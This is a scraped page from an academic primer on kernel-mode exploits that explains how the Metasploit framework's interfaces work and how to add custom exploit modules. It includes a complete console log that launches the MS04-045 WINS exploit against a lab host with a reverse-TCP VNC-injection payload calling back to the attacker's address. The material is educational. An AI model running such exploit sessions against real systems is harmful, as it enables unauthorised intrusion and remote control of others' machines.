13.07.2015 Views

Kernel-mode exploits primer - International Secure System Lab

Kernel-mode exploits primer - International Secure System Lab

Kernel-mode exploits primer - International Secure System Lab

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Command-line interface. Similar to the console interface,a command-line interface is available for automateduse of the framework. This interface takes the actions tobe executed inside Metasploit as parameter, executes thegiven tasks and exits afterwards. This is especially handyfor repetitive tasks like attacking a wide range of systemsor launching different types of attacks on possibly multipletarget hosts.Web interface. Metasploit contains a small webserver.This tool is very useful for searching the database for available<strong>exploits</strong> and payloads. Furthermore, it provides a veryeasy-to-use possibility for launching an attack by simplyclicking through some web-dialogs, selecting the desiredtype of exploit and payload, providing a target host addressand clicking on an attack button that will open a remoteshell once the attack was successfully completed.GUI interface. Similar to the web interface, Metasploitoffers a graphical interface to search for and launch <strong>exploits</strong>.B.1.1Attacking a Host via MetasploitAs mentioned in the previous section, Metasploit offers variousways to launch an attack against a target machine.Since the console interface is probably the fastest and mostprecise way though, we will take a closer look at how a simpleattack can be launched in this interface. For more detailedinstructions, again refer to the Metasploit user-guide.After starting the console interface with the commandmsfconsole, the interface will display the current version ofMetasploit and some additional information and wait foruser commands. By calling show <strong>exploits</strong> and show payloadsall currently available <strong>exploits</strong> and payloads are displayedrespectively.To select an exploit, the user can issue the command useexploitname and show all necessary options with show options.These can then be set by issuing the set and setgcommands 6 . After the exploit selection and the setting ofall necessary options, a further call to show payloads willonly display payloads that are compatible with the currentlyselected exploit.Using the set payload name command, the payload forthe attack can be selected and the attack can be launchedwith the exploit command. A full log of a typical attack canbe seen next:1 msf > use windows/wins/ms04_045_wins2 msf exploit(ms04_045_wins) > set RHOST 10.0.5.153 RHOST => 10.0.5.154 msf exploit(ms04_045_wins) > set RPORT 425 RPORT => 426 msf exploit(ms04_045_wins) > set payload windows/vncinject/reverse_tcp7 payload => windows/vncinject/reverse_tcp8 msf exploit(ms04_045_wins) > set lhost 10.0.5.29 lhost => 10.0.5.26 for more information on the local and global datastores refer to theuser-documentation10 msf exploit(ms04_045_wins) > show options1112 Module options:1314 Name Current Setting Required Description15 ---- --------------- -------- -----------16 RHOST 10.0.5.15 yes The target address17 RPORT 42 yes The target port181920 Payload options:2122 Name Current Setting Required Description23 ---- --------------- -------- -----------24 AUTOVNC true yes Automatically launch25 VNC viewer if present26 DLL /...//vncdll.dll yes The local path to the27 VNC DLL to upload28 EXITFUNC process yes Exit technique: seh,29 thread, process30 LHOST 10.0.5.2 yes The local address31 LPORT 4444 yes The local port32 VNCHOST 127.0.0.1 yes The local host to use for33 the VNC proxy34 VNCPORT 5900 yes The local port to use for35 the VNC proxy363738 Exploit target:3940 Id Name41 -- ----42 0 Windows 2000 English434445 msf exploit(ms04_045_wins) > exploitB.1.2<strong>Kernel</strong>-<strong>mode</strong> <strong>exploits</strong> in MetasploitSince the goal of our work ultimately is to exploit devicedrivers, the exploited code will obviously run in kernel<strong>mode</strong>.This requires special payloads to be used. AlthoughMetasploit was originally developed for user-spaceprogram exploitation, the recently released version 3.0 ofthe framework now supports kernel-<strong>mode</strong> payloads. In orderto support the big variety of already available payloadswithin Metasploit, the framework developers have decidednot to use specially crafted payloads for kernel-<strong>mode</strong>s butrather introduce a kernel-wrapper around user-<strong>mode</strong> payloads.This kernel-wrapper first calls specific functions thatset up an environment that allows the execution of user<strong>mode</strong>payloads within the kernel.At the time of this writing, these kernel-wrappers areonly supported for Windows systems (XPSP2 and 2K3SP1). If other systems are to be attacked, the predefinedpayloads will not work. The users are then forced to writetheir own payloads to be executed by Metasploit.Metasploit is based on SVN to allow easy updates ofavailable modules like <strong>exploits</strong>, payloads, NOP-sledge generators,etc. If one wants to add a custom exploit to theframework, all that has to be done is to add a new rubyfileto the modules/<strong>exploits</strong> sub-directory of the Metasploitroot directory. The new exploit-file should contain aclass-definition, subclassing one of the Metasploit <strong>exploits</strong>(e.g. Msf::Exploit::Remote) and provide definitions for themethods check and exploit. The easiest way to insert a newexploit successfully is by copying an existing exploit andmodifying the required parts approprietly.Similar to adding a custom exploit, a new payload can beinserted by adding a ruby-definition into the modules/pay-14

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!